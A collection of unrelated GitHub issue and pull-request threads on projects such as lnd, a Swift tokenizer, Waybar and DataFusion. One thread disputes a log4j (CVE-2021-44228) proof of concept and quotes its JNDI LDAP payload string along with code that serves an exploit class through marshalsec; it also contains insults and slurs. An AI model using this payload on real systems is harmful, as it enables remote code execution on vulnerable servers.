This PR introduces an optional feature to resolve a hash via an external service. If we receive a payment for which we are the final destination, and yet LookupInvoice returns an error indicating an unknown hash, we can attempt to retrieve the preimage for this hash from the external hash resolver service before failing the htlc. This allows for payment hashes and preimages to be created, stored, and retrieved independently from lnd.
One key use case for this functionality is cross chain swaps as described here. In short, when an unrecognized payment hash from lnd is passed to the hash resolver, the hash resolver service can then attempt to fetch the preimage for that hash by making a lightning payment on a separate lnd instance (using a separate chain/network) using the same hash. A successful payment will reveal the preimage, which can then be returned to the first lnd instance which queried the hash resolver service.
To minimize the changes to existing lnd code, this PR uses a separate configuration file for new options pertaining to querying the resolver service. This can be changed to use the main configuration file, perhaps in a new [resolver] section.

Travis test failed due to #1592

@Roasbeef  @halseth I removed the dependency on the external package from this PR.
The new RPC call is now part of LND's rpc.proto.
I structured the solution in a way that by default the new functionality can be compiled out so this change brings no risk for users which does not need it.
Can you have a look please?

@halseth @Roasbeef can you please have a quick look and let me know what can I do to help you digest this one.
I can make more changes to reduce the impact on non-users of this feature to zero.
Will be happy to get some feedback before I make these changes.
Thanks!

@sangaman see #2022


SplitPreTokenizer with invert true returning array with empty string

See using commit 03d86ac  See also: https://github.com/PreternaturalAI/mlx-swift-chat/issues/8
The tokenizer for stabilityai/stablelm-2-zephyr-1_6b has a configuration like this:
  "pre_tokenizer": {
    "type": "Sequence",
    "pretokenizers": [
      {
        "type": "Split",
        "pattern": {
          "Regex": "(?i:'s|'t|'re|'ve|'m|'ll|'d)|[^\r\n\\p{L}\\p{N}]?\\p{L}+|\\p{N}| ?[^\\s\\p{L}\\p{N}]+[\r\n]*|\\s*[\r\n]+|\\s+(?!\\S)|\\s+"
        },
        "behavior": "Removed",
        "invert": true
      },

which ends up here:
class SplitPreTokenizer: PreTokenizer {
...
    func preTokenize(text: String) -> [String] {
        guard let pattern = pattern else { return [text] }
        return pattern.split(text, invert: invert)
    }

Given the input string "Why did the chicken cross the road? " it returns a array with an empty string:
(lldb) p pattern.split(text, invert: true)
([String]) 1 value {
  [0] = ""
}

I observed that if invert were false it gives something that look reasonable to my eyes:
(lldb) p pattern.split(text, invert: false)
([String]) 10 values {
  [0] = "Why"
  [1] = " did"
  [2] = " the"
  [3] = " chicken"
  [4] = " cross"
  [5] = " the"
  [6] = " road"
  [7] = "?"
  [8] = " "
  [9] = ""
}

I am not sure what the behavior is supposed to be here -- I wonder if the behavior of invert might be ... inverted?  I think the configuration is correct because the python tokenizer behaves correctly.

Thanks for the report @davidkoski, I'll take a look!


Shape shape not symmetrical or torn

Duplicate of https://github.com/1j01/jspaint/issues/158


disk_size and memory_size ignored in molecule.yml

Hi,
At first, thank you for providing this plugin, and secondly, I noticed that "item." is missing a couple of places, so that some definitions in molecule.yml are ignored when creating vms.
grep -ir "default(" | grep -v item
molecule_libvirt/playbooks/create.yml:        {{ disk_size | default(default_disk_size ) }}"
molecule_libvirt/playbooks/templates/vm/vm.xml.j2:  <memory unit='GiB'>{{ memory_size | default(default_memory_size) }}</memory>
molecule_libvirt/playbooks/templates/vm/vm.xml.j2:  <currentMemory unit='GiB'>{{ memory_size | default(default_memory_size) }}</currentMemory>
molecule_libvirt/playbooks/templates/vm/vm.xml.j2:  <vcpu placement='static'>{{ vcpu | default(default_vcpu) }}</vcpu>

Also, would you consider adding (or accepting) a couple of miscellaneous start and stop functions corresponding to virsh start and shutdown.
Regards,
Lars Melwyn

@lmelwyn Thanks for reporting this, do you think you could write a pull request for this issue?
About your next question, could you please open a new issue with a detailed description of what you are trying to achieve?
Thanks!


Error from tsx component (Create-React-App with Typescript project)

Trying to setup working source maps in my project (node-sass-chokidar package)
The error is: react-typescript/src/App.tsx
(5,1): require statement not part of an import statement
Here is my component (below) where I wrote this two lines from the doc (but with adding the type 'any at the end of the first'):
declare function require(name: string): any;
require('source-map-support').install();
My component:
import * as React from 'react';
import './App.css';
import Dashboard from './components/dashboard/dashboard';
declare function require(name: string): any;
require('source-map-support').install();
class App extends React.Component {
public render() {
return (
<Dashboard name={'Alex'}/>
);
}
}
export default App;
Could you please tell me, is it possible with your package, thanks in advance! ?

What is it that is giving you this error?

(5,1): require statement not part of an import statement

Anyhow, if you are using TypeScript I think that you should do it like this:
import SourceMapSupport = require('source-map-support')

SourceMapSupport.install()

// ...

Also, instead of doing this programmatically you can do this using the Node.js CLI, which might be a better fit:
node -r source-map-support/register foobar.js

Sorry for such a delay, just closing what was opened long ago @LinusU
Thank you! :)


[VS Code] Unable to open "File not found" for files not in the first folder in the workspace

vscode2.zip
Product and Version [VS/VSCode]: VSCode
OS Version [macOS/Windows]: Windows 10
Live Share Extension Version: 1.0.45
Target Platform or Language [e.g. Node.js]: Python
Steps to Reproduce / Scenario:
Assuming there are more than one folders in a workspace, I cannot search and open a file (Ctrl + P; typing the file name; enter) of the second workspace if it has not been opened manually before.

The error was Unable to open <filename>: File not found (vsls:/~1/~1/<folder>/<filename>.
After the file has been opened manually (click on the file), then the search results in, and I can now open the file:

Interestingly, the correct path seems to be /~1/<folder>/<filename> not /~1/~1/<folder>/<filename>.
PS. This problem doesn't apply to files in the first folder in the workspace.

@nandiniYeltiwar could you take a look?

This issue should now be resolved. Please re-open it if you're still experiencing this problem. Thanks!


 This requires me to zoom in fully and have pixel-perfect boxes. This is made more difficult by images being smoothed when zoomed in fully, because small faint features become hard to see.
This is similar to the default behavior of Linux Mint's default image viewer, xviewer, so I have included two example images using that program to show the difference between smoothed and unsmoothed images.

I found it! You can remove the smoothing by commenting out line 428 in canvas.py. Specifically:
p.setRenderHint(QPainter.SmoothPixmapTransform)

Closing, since I was able to solve this for my purposes.


Are u retarded?

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on <IP_ADDRESS>:1389

Even in your example, the webport is 1389 despite you setting the webport to 8000.

You are the person who retarded, and don't even read the code

You are the person who retarded, and don't even read the code

How?

If you don't know how this works you're probably trying to use it to troll people or use this program for bad intentions, which is not where this script is for.

the script is setting up the web server on the port you ask for
  httpd = HTTPServer(('<IP_ADDRESS>', int(webport)), SimpleHTTPRequestHandler)
  httpd.serve_forever()

and its the LdapServer
def createLdapServer(userip, lport):
  sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
  print(Fore.GREEN +"[+] Send me: "+sendme+"\n")

  subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

  url = "http://{}:{}/#Exploit".format(userip, lport)
  subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                 "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

and if you go to the webport you specify eg: localhost:8081

you can see that it's running the webserver on that port , and same if you go to port 1389 you can see that its running the ldap

the script is setting up the web server on the port you ask for
  httpd = HTTPServer(('<IP_ADDRESS>', int(webport)), SimpleHTTPRequestHandler)
  httpd.serve_forever()

and its the LdapServer
def createLdapServer(userip, lport):
  sendme = ("${jndi:ldap://%s:1389/a}") % (userip)
  print(Fore.GREEN +"[+] Send me: "+sendme+"\n")

  subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])

  url = "http://{}:{}/#Exploit".format(userip, lport)
  subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
                 "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])

and if you go to the webport you specify eg: localhost:8081

you can see that it's running the webserver on that port , and same if you go to port 1389 you can see that its running the ldap

I don't care weeb

People like you should not be allowed to have a GitHub account

You can close this issue svmorris

yeah sure thanks @Dannygop  i also added a print statement so that it wont confuse

If you don't know how this works you're probably trying to use it to troll people or use this program for bad intentions, which is not what this script is intended for.

 Fully agree with you @Dannygop.


walkers package as model subpackage

Codecov Report

Merging #181 (0ae6c38) into master (1aabdf4) will increase coverage by 0.00%.
The diff coverage is 98.38%.

@@           Coverage Diff           @@
##           master     #181   +/-   ##
=======================================
  Coverage   91.86%   91.86%
=======================================
  Files         117      117
  Lines       13273    13282    +9
=======================================
+ Hits        12193    12202    +9
  Misses       1080     1080

Impacted Files
Coverage Δ

...ed_planning/model/walkers/quantifier_simplifier.py
61.26% <91.30%> (ø)

...g/engines/compilers/conditional_effects_remover.py
97.65% <100.00%> (ø)

...ngines/compilers/disjunctive_conditions_remover.py
99.01% <100.00%> (ø)

unified_planning/engines/compilers/grounder.py
100.00% <100.00%> (ø)

...g/engines/compilers/negative_conditions_remover.py
98.18% <100.00%> (ø)

..._planning/engines/compilers/quantifiers_remover.py
98.97% <100.00%> (-0.02%)
:arrow_down:

unified_planning/engines/plan_validator.py
91.04% <100.00%> (ø)

unified_planning/engines/sequential_simulator.py
86.95% <100.00%> (ø)

unified_planning/environment.py
94.00% <100.00%> (ø)

unified_planning/grpc/proto_writer.py
83.56% <100.00%> (ø)

... and 25 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 1aabdf4...0ae6c38. Read the comment docs.


SIGTERM breaks terminal, at least before the config is parsed

I hit this because I'm back to having the 1Password issue that we've discussed in IRC, so I had to send a SIGTERM to comlink to get it to quit because it wouldn't accept CTRL+C while op was not showing up.

Can you see if 99f4808 resolved this for you?

It resolved an issue I had if you quit comlink before a connection was established (or if it had been previously disconnected). I think it might fix this as well

Still broken.


http, add basic unit test

note that this will trigger external communication in the unit tests by calling https://httpbin.org/get, but I cannot really think of other ways to test it properly
HTTP communication is central to abapGit communication, so need to get this under test so the git part can be put under test

hmmm, will need a cert for httpbin ?
Theoretically can leave without real connection. Just need to mock some features of if_http_client and Ko.
https://github.com/sbcgua/abap-http-agent/blob/master/src/zcl_aha_http_agent.clas.testclasses.abap

hmmm, will need a cert for httpbin ?
Theoretically can leave without real connection. Just need to mock some features of if_http_client and Ko.
https://github.com/sbcgua/abap-http-agent/blob/master/src/zcl_aha_http_agent.clas.testclasses.abap

can you try? I might have installed the certificate some time ago on my test system

can you try? I might have installed the certificate some time ago on my test system

yeap ... needs a cert

yeap ... needs a cert

ok, thanks, closing

ok, thanks, closing


Create a set of errors returned to clients

The library currently uses error_chain just to have the minimal error support, but it is not really making use of it, and most places where an error should be returned currently panic. Panicking is not acceptable in the library, but we don't plan to fix that until we settle our strategy around handling errors.
So I suggest we take a look at the latest failure crate (which has been pretty much stalled for a while and seems it could be in high flux now) and any potential alternatives and work out a solution for our error types on release 0.3+.

Reading through comments about the state of error handling, people recommend the snafu crate. I've checked it out and I think it is high quality and a good compromise in the short to mid term until the dust is settled in the Rust error trait, which is being reworked at the moment.
The crate features outstanding documentation and seems to deal easily with local error types (ie. module-specific errors). Looks like a nice fit to me.
@3scale-rs/core any takers?

Hey @PhilipGough I'm unassigning you since this issue does not make sense as things stand now. I will close this since the need for this has largely disappeared, though some improvements may still be in order.


[Bug report] In PosgresSQL indexes on foriegn key don't show up as indexes.

Version
main branch
Describe what's wrong
If you create a foreign key and index it doesn't show up as an index in the REST result.
Error message and/or stacktrace
N/A
How to reproduce
Using the playground, create an index on a foreign key like so:
alter table hr.employees add constraint FK_departments foreign key(department_id) references hr.departments(department_id);
create index on hr.employees(department_id);

Run this:
curl http://localhost:8090/api/metalakes/metalake_demo/catalogs/catalog_postgres/schemas/hr/tables/employees

And indexes will be an empty array.
Additional context
No response

seems not a bug,  Gravitino currently supports PRIMARY_KEY and UNIQUE_KEY only

In general foreign keys are much more common than primary or unique keys and provide important information on what fields are optimised to use in a query. Is supporting foreign key indexes or other indexes being considered?

this's not scheduled in 0.5, maybe we could consider scheduling in 0.6? cc @jerryshao

The issue for that added indexes are a little misleading or could do with more description e.g. #1736 says "Support PostgreSQL index".

The release notes for 0.4 are also a light on details on this https://github.com/datastrato/gravitino/releases/tag/v0.4.0

We do not support foreign index for PG, I will schedule it to 0.7.0.


Add LimitPushdown optimization rule and CoalesceBatchesExec fetch

Which issue does this PR close?
Closes #9792.
Rationale for this change
Physical plans can be optimized further by pushing GlobalLimitExec and LocalLimitExec down through certain nodes, or using versions of their children nodes with fetch limits, without changing the result. This reduces unnecessary data transfer and processing for a more efficient plan execution.
CoalesceBatchesExec can also benefit from this improvement, and as such, a fetch limit functionality is implemented for it.
For example,
GlobalLimitExec: skip=0, fetch=5
  StreamingTableExec: partition_sizes=1, projection=[c1, c2, c3], infinite_source=true

can be turned into
StreamingTableExec: partition_sizes=1, projection=[c1, c2, c3], infinite_source=true, fetch=5

and
GlobalLimitExec: skip=0, fetch=5
  CoalescePartitionsExec
    FilterExec: c3@2 > 0
      RepartitionExec: partitioning=RoundRobinBatch(8), input_partitions=1
        StreamingTableExec: partition_sizes=1, projection=[c1, c2, c3], infinite_source=true

can be turned into
GlobalLimitExec: skip=0, fetch=5
  CoalescePartitionsExec
    LocalLimitExec: fetch=5
      FilterExec: c3@2 > 0
        RepartitionExec: partitioning=RoundRobinBatch(8), input_partitions=1
          StreamingTableExec: partition_sizes=1, projection=[c1, c2, c3], infinite_source=true

without changing the result, but using fewer resources and finishing faster
The physical plan in the following excerpt
https://github.com/apache/datafusion/blob/ecf5323eaa38869ed2f911b02f98e17aa6db639a/datafusion/sqllogictest/test_files/repartition.slt#L116-L129
will turn into
01)GlobalLimitExec: skip=0, fetch=5
02)--CoalescePartitionsExec
03)----CoalesceBatchesExec: target_batch_size=8192, fetch=5
04)------FilterExec: c3@2 > 0
05)--------RepartitionExec: partitioning=RoundRobinBatch(3), input_partitions=1
06)----------StreamingTableExec: partition_sizes=1, projection=[c1, c2, c3], infinite_source=true

Other examples can be found in the tests provided in limit_pushdown.rs and other .slt tests
What changes are included in this PR?
Implement LimitPushdown Rule:

Introduced new APIs in the ExecutionPlan trait:

with_fetch(&self, fetch: Option<usize>) -> Option<Arc<dyn ExecutionPlan>>: Returns fetching version if supported, None otherwise. The default implementation returns None
supports_limit_pushdown(&self) -> bool: Returns true if a node supports limit pushdown. The default implemenation returns false

Add fetch support to CoalesceBatchesExec:

Add fetch field and with_fetch implementation
Implement fetch limit functionality

Are these changes tested?
Unit tests are provided for LimitPushdown and the new fetching support for CoalesceBatchesExec
Are there any user-facing changes?
No. The changes only affect performance

I believe if you merge up from main the CI will pass on this PR

I will wait for a little bit longer to merge this in case anyone has more feedback


401 Unauthorized on Save

After page load, I have GET http://foo.test/laravel-grapesjs/App-Models-Content/1/templates 500 (Internal Server Error) in the JS console.
Then when clicking the Save Icon, I have 401 Unauthorized.
https://imgur.com/a/nO8gAAL

Hi @nomentsoa-andrianjatovo, not able to reproduce it on my end. Are you still facing the issue? If so, Have you tried the latest version?
If you resolved this issue please share your finding. Or share steps, on how we can reproduce it.

After page load, I have GET http://foo.test/laravel-grapesjs/App-Models-Content/1/templates 500 (Internal Server Error) in the JS console. Then when clicking the Save Icon, I have 401 Unauthorized. https://imgur.com/a/nO8gAAL

You must login or In file config/laravel_grapejs.php  , comment auth middleware
'routes' => [
'middleware' => [
'web', //'auth',
],
],


Waybar not recieving the full JSON object

For custom scripts that output JSON objects at a very high rate Waybar doesn't receive the full object and you end up with:

[2024-07-08 18:39:19.681] [error] custom/cava-p: Error parsing JSON: * Line 1, Column 1
Syntax error: value, object or array expected.
[2024-07-08 18:39:22.555] [error] custom/vu-r: Error parsing JSON: * Line 1, Column 1
Syntax error: value, object or array expected.
[2024-07-08 18:39:22.680] [error] custom/vu-l: Error parsing JSON: * Line 1, Column 1
Syntax error: value, object or array expected.

Spammed, non-stop and it chews up a LOT of CPU and due to the bar not receiving the objects, the modules can get wonky...
So after digging into the source for the custom module I decided to add a buffer and some verification so that invalid JSON isn't parsed. It works flawlessly for me, but I am not opening a pull request for a couple of reasons. 1 - I haven't read your code style guidelines. 2 - I haven't had a chance to look over all of the Waybar code, and maybe there is a better place to solve this. 3 - I have only tested it with my modules.
So, I figured I would open an issue and link to my patch. I will be happy to link to my VU meter module and colorized Cava module if you like. The VU meters really demonstrate this issue since they update extremely fast and each segment is a different color (24 segment meters) so a lot of CSS is contained in each JSON object.
https://gist.github.com/runningnak3d/8a392b23130245c4441c247046f2ec3f
Waybar rev: ccc3c132124623bde5127937fe4fc9aa45a9d35d

Hi @Alexays , can you remove cava, clock labels. The issue belongs to custom module


Delete File Permanently

How do you delete files permanently instead of them going to the trash bin? I see there was a feature request, I see 2 options about trash bins both of which I enabled, but nothing about bypassing the trash bin.

There's this command line switch: -skiptrash. (Run google-drive-ocamlfuse -help to get all command line options.)

I didn't see that listed but maybe I would have seen it if I wasn't working from a cellphone on it... :/ I'll give that a try. Thank you and thank you for your work.

Sorry for the delete, working like a champ. Thank you so much!


[FEATURE]  kyuubi-flink-sql-engine should support scala code like spark-sql-engine

Code of Conduct

[X] I agree to follow this project's Code of Conduct

Search before asking

[X] I have searched in the issues and found no similar issues.

Describe the feature
kyuubi-flink-sql-engine should support scala code like  kyuubi-spark-sql-engine
Motivation
No response
Describe the solution
No response
Additional context
No response
Are you willing to submit PR?

[ ] Yes I am willing to submit a PR!

Personally, I love scala shell, but I don't know how hard to implement and maintain it because scala shell has been dropped by the Flink community in FLINK-24360 due to a lack of maintenance resources.


Add support for more icons

For frame icons, it will be really great if we had:

option to use emoji as the icon
favicon detection
switch to tabler icons, which is constantly updated with various (+ brands') icons

This would be great. Especially support for FontAwesome Brand Icons since so many of the frames go towards specific branded pages.


Method is patched with same one!

Hello, lolmanurfunny. ROBLOX are still patching your latest version. A same one that lets ROBLOX to reinstall itself. Ye, it's Microsoft Defender SmartScreen. It's used to reinstall ROBLOX. If you run administrator a Roblox Launcher minus the app, it will reinstall ROBLOX. Which is why method is patched with same one.

Nevermind! It's not patched, unlesss if it's running as administrator.

thats why the source code states that it's running as administrator, just reinstall roblox and run the beta nabber script.

also i recommend you close this issue now since your problem has been resolved


Game Closes after jumpscare game over

Describe your problem here.
How do I make the game close after a jumpscare plays for the game over screen?
I just need the code... nothing else
Are you modding a build from source or with Lua?
Lua
What is your build target?
Windows x64
Did you edit anything in this build? If so, mention or summarize your changes.
Ive added sprites, removed the weeks to create my own, and added a bunch of lua files such as scripts and custom notes, that's pretty much all I did

You need the source code

what do I do in the source code to do that?

Well you could add a if statement in the GameOverState like this:
if (PlayState.SONG.song == 'scary-song') {
    playJumpscare();
    Sys.exit(0); // This will exit the game after the jumpscare is played.
}

you can check the length of the audio file then run a timer for that length of the audio file then you can exit (<0.5.1)

Well you could add a if statement in the GameOverState like this:
if (PlayState.SONG.song == 'scary-song') {
    playJumpscare();
    Sys.exit(0); // This will exit the game after the jumpscare is played.
}

wait so I can't put this in a game over lua file?

Well you could add a if statement in the GameOverState like this:
if (PlayState.SONG.song == 'scary-song') {
    playJumpscare();
    Sys.exit(0); // This will exit the game after the jumpscare is played.
}

wait so I can't put this in a game over lua file?

No because it's written in haxe. Unless you want to edit the FunkinLua.hx this is the only way.

Well you could add a if statement in the GameOverState like this:
if (PlayState.SONG.song == 'scary-song') {
    playJumpscare();
    Sys.exit(0); // This will exit the game after the jumpscare is played.
}

you saved me with this, now I can make customs game over as it should


Uncaught Error: Cannot read property 'object' of undefinedTypeError: Cannot read property 'objec...

I just opened atom, and got this error.
(My last projects opened automatically, and the error came when they got loaded.)
Atom Version: 1.9.8
System: Ubuntu 14.04.5
Thrown From: Atom Core
Stack Trace
Uncaught Error: Cannot read property 'object' of undefined
TypeError: Cannot read property 'object' of undefined
at ObjectsRegistry.get (/opt/atom/resources/electron.asar/browser/objects-registry.js:44:28)
at EventEmitter. (/opt/atom/resources/electron.asar/browser/rpc-server.js:309:31)
at emitMany (events.js:121:13)
at EventEmitter.emit (events.js:195:7)
at EventEmitter. (/opt/atom/resources/electron.asar/browser/api/web-contents.js:141:25)
at emitTwo (events.js:100:13)
at EventEmitter.emit (events.js:185:7)
At /opt/atom/resources/electron.asar/renderer/api/remote.js:178

Error: Cannot read property 'object' of undefined
TypeError: Cannot read property 'object' of undefined
    at ObjectsRegistry.get (/opt/atom/resources/electron.asar/browser/objects-registry.js:44:28)
    at EventEmitter.<anonymous> (/opt/atom/resources/electron.asar/browser/rpc-server.js:309:31)
    at emitMany (events.js:121:13)
    at EventEmitter.emit (events.js:195:7)
    at EventEmitter.<anonymous> (/opt/atom/resources/electron.asar/browser/api/web-contents.js:141:25)
    at emitTwo (events.js:100:13)
    at EventEmitter.emit (events.js:185:7)
    at metaToValue (/opt/atom/resources/electron.asar/renderer/api/remote.js:178:13)
    at undefined.remoteMemberFunction (/opt/atom/resources/electron.asar/renderer/api/remote.js:112:18)
    at AtomEnvironment.module.exports.AtomEnvironment.getWindowDimensions (/opt/atom/resources/app.asar/src/atom-environment.js:631:29)
    at AtomEnvironment.module.exports.AtomEnvironment.storeWindowDimensions (/opt/atom/resources/app.asar/src/atom-environment.js:665:36)
    at WindowEventHandler.module.exports.WindowEventHandler.handleWindowBlur (/opt/atom/resources/app.asar/src/window-event-handler.js:182:35)
    at /opt/atom/resources/app.asar/src/window-event-handler.js:3:61

Commands

Config
{
  "core": {
    "disabledPackages": [
      "linter-eslint"
    ]
  },
  "editor": {
    "fontFamily": "Liberation Mono",
    "fontSize": 20,
    "invisibles": {},
    "showInvisibles": true,
    "softTabs": false,
    "tabType": "hard"
  }
}

Installed Packages
# User
atom-typescript, v10.0.1 (active)
file-icons, v1.7.16 (active)
language-postcss, v1.2.3 (active)
linter, v1.11.14 (active)
linter-eslint, v7.2.4 (inactive)
merge-conflicts, v1.4.4 (active)
minimap, v4.24.7 (active)
react, v0.15.0 (active)
source-preview-postcss, v0.1.4 (active)
atom-dark-syntax, v0.27.0 (inactive)
atom-dark-ui, v0.51.0 (inactive)
atom-light-syntax, v0.28.0 (inactive)
atom-light-ui, v0.43.0 (inactive)
base16-tomorrow-dark-theme, v1.1.0 (inactive)
base16-tomorrow-light-theme, v1.1.1 (inactive)
one-dark-ui, v1.3.2 (active)
one-light-ui, v1.3.2 (inactive)
one-dark-syntax, v1.2.0 (active)
one-light-syntax, v1.2.0 (inactive)
solarized-dark-syntax, v1.0.2 (inactive)
solarized-light-syntax, v1.0.2 (inactive)
about, v1.5.2 (active)
archive-view, v0.61.1 (active)
autocomplete-atom-api, v0.10.0 (active)
autocomplete-css, v0.11.1 (active)
autocomplete-html, v0.7.2 (active)
autocomplete-plus, v2.31.0 (active)
autocomplete-snippets, v1.11.0 (active)
autoflow, v0.27.0 (inactive)
autosave, v0.23.1 (active)
background-tips, v0.26.0 (active)
bookmarks, v0.41.0 (active)
bracket-matcher, v0.82.1 (active)
command-palette, v0.38.0 (inactive)
deprecation-cop, v0.54.1 (active)
dev-live-reload, v0.47.0 (active)
encoding-selector, v0.22.0 (active)
fuzzy-finder, v1.3.0 (active)
git-diff, v1.1.0 (active)
find-and-replace, v0.198.0 (inactive)
go-to-line, v0.31.0 (inactive)
grammar-selector, v0.48.1 (active)
image-view, v0.58.0 (active)
incompatible-packages, v0.26.1 (active)
keybinding-resolver, v0.35.0 (active)
line-ending-selector, v0.5.0 (active)
link, v0.31.1 (inactive)
markdown-preview, v0.158.0 (active)
notifications, v0.64.1 (active)
open-on-github, v1.2.0 (inactive)
package-generator, v1.0.0 (inactive)
settings-view, v0.238.2 (active)
snippets, v1.0.2 (active)
spell-check, v0.67.1 (active)
status-bar, v1.4.1 (active)
styleguide, v0.46.0 (active)
symbols-view, v0.113.0 (inactive)
tabs, v0.98.1 (active)
timecop, v0.33.1 (active)
tree-view, v0.208.0 (active)
update-package-dependencies, v0.10.0 (active)
welcome, v0.34.0 (active)
whitespace, v0.32.2 (active)
wrap-guide, v0.38.1 (active)
language-c, v0.52.1 (active)
language-clojure, v0.21.0 (active)
language-coffee-script, v0.47.0 (active)
language-csharp, v0.12.1 (active)
language-css, v0.36.2 (active)
language-gfm, v0.86.0 (active)
language-git, v0.13.0 (active)
language-go, v0.42.0 (active)
language-html, v0.44.1 (active)
language-hyperlink, v0.16.0 (active)
language-java, v0.22.0 (active)
language-javascript, v0.119.0 (active)
language-json, v0.18.0 (active)
language-less, v0.29.3 (active)
language-make, v0.22.2 (active)
language-mustache, v0.13.0 (active)
language-objective-c, v0.15.1 (active)
language-perl, v0.35.0 (active)
language-php, v0.37.0 (active)
language-property-list, v0.8.0 (active)
language-python, v0.45.0 (active)
language-ruby, v0.68.5 (active)
language-ruby-on-rails, v0.25.0 (active)
language-sass, v0.52.0 (active)
language-shellscript, v0.22.3 (active)
language-source, v0.9.0 (active)
language-sql, v0.21.1 (active)
language-text, v0.7.1 (active)
language-todo, v0.28.0 (active)
language-toml, v0.18.0 (active)
language-xml, v0.34.8 (active)
language-yaml, v0.26.0 (active)

# Dev
No dev packages

This is a duplicate of #11692  - feel free to subscribe there for updates.


#35 #37 #41

Fixes all open status issues

Hi @eLindros ,
thanks for the fixes. Would it be possible to squash all 6 commits into just one to have a cleaner git history?
Thanks a lot!
Fabian

I'm a pretty noob with git and GitHub. How would I do that? I tried to erase those extraneous commits but only managed to reverse them. Do I have to erase the whole fork and start over?

I mean: I'm pretty much a noob, not necessarily a pretty noob ;-)

Hi,
no problem. The easiest way would be to squash the 6 commits with a git gui client, like Fork or GitHub Desktop. I captured a possible approach with GitHub Desktop in a gif:

You should select "squash x Commit" for the latest commit.
After squashing commits it is necessary to perform a "force push", because we changed the git history. And "squashing" also only makes sense before a feature branch is merged. It should be avoided to change git history in the "main" or "develop" branches.
Alternatively, I can squash the commits for you and push them into your fork and then merge the PR here. But I would appear as the author on the commit (and you as the co-author). If that's okay with you?
And in this case, you would have to check out your branch again if you want to look at it locally, because we changed the git history (or, to more precise: you have to delete your branch locally and get it from remote again).
Just let me know which way you prefer.
Fabian

Looks like it worked, thanks!

Great!
I will merge it and will add you as contributor in the next minor release. Thank you for the support.


[Bug]: Participants cannot view the project application tasks in all work orders

ODC version
ODC 4.2.3
OB version

What happened?
Use ordinary members to apply for participant rights for a project

The task cannot be seen in all projects

What did you expect to happen?
All projects show application task type.
How can we reproduce it (as minimally and precisely as possible)?
Follow what happened.
Anything else we need to know?
No response
Cloud
No response

pass


Add an example of an oslo spec file in the readme

I got directed here from a tweet and expected more information about for example the specification file. Had to go to the website and then back to https://github.com/openslo/openslo to get more information.
Adding  a sample like available in the test folder (e.g. : valid-slos-ratio.yaml) would make things a lot more clear.

I think https://github.com/OpenSLO/OpenSLO has it all covered in great detail. If you feel like the header description of the project is too vague in pointing to the specification, feel free to reopen this issue (suggestion how to rephrase it would be welcome :+1: ):
CLI tool for the OpenSLO spec. For more information also check the website: openslo.com.

The repo README is a lot more clear than the website, but it is there now 😬. Thanks for closing this.


Continue playing previous sound instead of cutting it when the next key is pressed

Is your feature request related to a problem? Please describe.

When a new key is pressed while the previous sound is still playing the old sound is stopped
sink.stop();

Describe the solution you'd like

The old sound should continue playing at the same time as the new.
Describe alternatives you've considered

Additional context

I created this as a feature request, as both behaviours are valid. This should be configurable, but default should be to continue playing.

Sounds good. Are you interested in making a draft PR? I think we should implement this first to test the new behavior. Then we can discuss making this configurable.

I would wait with this till #24 is done, as we might need to touch the way sound is played for the pitch thing.

Makes sense.

I played around with this and some stuff does not sound great.
The default profile release sounds for example. Maybe this needs a configurable number of sounds that can be played concurrently.

I have primitive knowledge working with rodio and it's audio sink type. But my first impression to do this would be to store a Vec of N syncs. Let's say N = 8, and rotate which one plays an incoming new sound. 8 Sinks could play 8 sounds at once.
I have not looked at this repo before tonight but it doesn't seem too large. I might make a PR for this soon.


Retry on 500, 502, 503 and 504 in http_backoff

Instead of only 504 by default. Those might be transient errors happening when downloading or uploading files. Let's retry when that happens.
Related to https://github.com/huggingface/datasets/issues/6577#issuecomment-1937589686 (cc @sanchit-gandhi) which most likely happened due to the outage on Saturday (so a retry wouldn't have helped) but I still reviewed the process as we were currently having different retry mechanism spread in the codebase. (+it's not the first time I've seen this kind of feedback so let's "fix it" once and for all).

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint. The docs are available until 30 days after the last update.

We are already retrying on 500 when uploading to S3 as we already noticed transient HTTP 500 there.

yes I meant 500 from the hub

not sure about retrying on 500 (cc @XciD @coyotte508 WDYT?) but the other ones look good to me
Yes, agree. Could create unnecessar load on outage

I've update the PR (only changing upload retry)


.stl file for 3d printed spacer

Do you have the .stl file for the 3d printed spacer? I don't see it in the repo. I could use tape but the spacer looks so much nicer! Thank you so much for the demo lab at Defcon and for the free unit. I showed it to my son and he took one look at the spacer and said wow, that's nice printing. lol

Hey, thanks to you for your feedback!
Here is the link of the spacer: https://www.thingiverse.com/thing:4748043
Let me know if you need something else. :-)

Thank you!


Proxy on* handlers defined as strings when allow-events is enabled

After well over a month (I've been busy / out of the country), this is the second PR resulting from our discussion at developit/preact#95
It depends on https://github.com/developit/preact/pull/142 being merged (and possibly published to npm?) before tests can pass.

Looks awesome @AkeemMcLennon. I'm thinking for now we should have the tests expect to see an error thrown when firing the string event handler. Do you want to update, or should I just merge and then update the test?

@developit I'll go ahead and make the update in both PRs

Awesome!

I've updated the test, but I'm not sure what to make of the rollup error in Travis CI

Updated to a new rollup version that fixes https://github.com/rollup/rollup/issues/618
Builds now pass

Awesome, thanks for making that work!!


feat: Support and remember version range specifiers (>=3.2,<4) when updating

I would like to make it harder for customers of my template to absorb breaking changes.  The first number in semantic versioning is MAJOR and should be changed for breaking changes.  If I make a breaking change to my template and tag it with a new MAJOR version number, I want the user who runs copier update to have to jump through extra hoops before updating to the breaking change version.
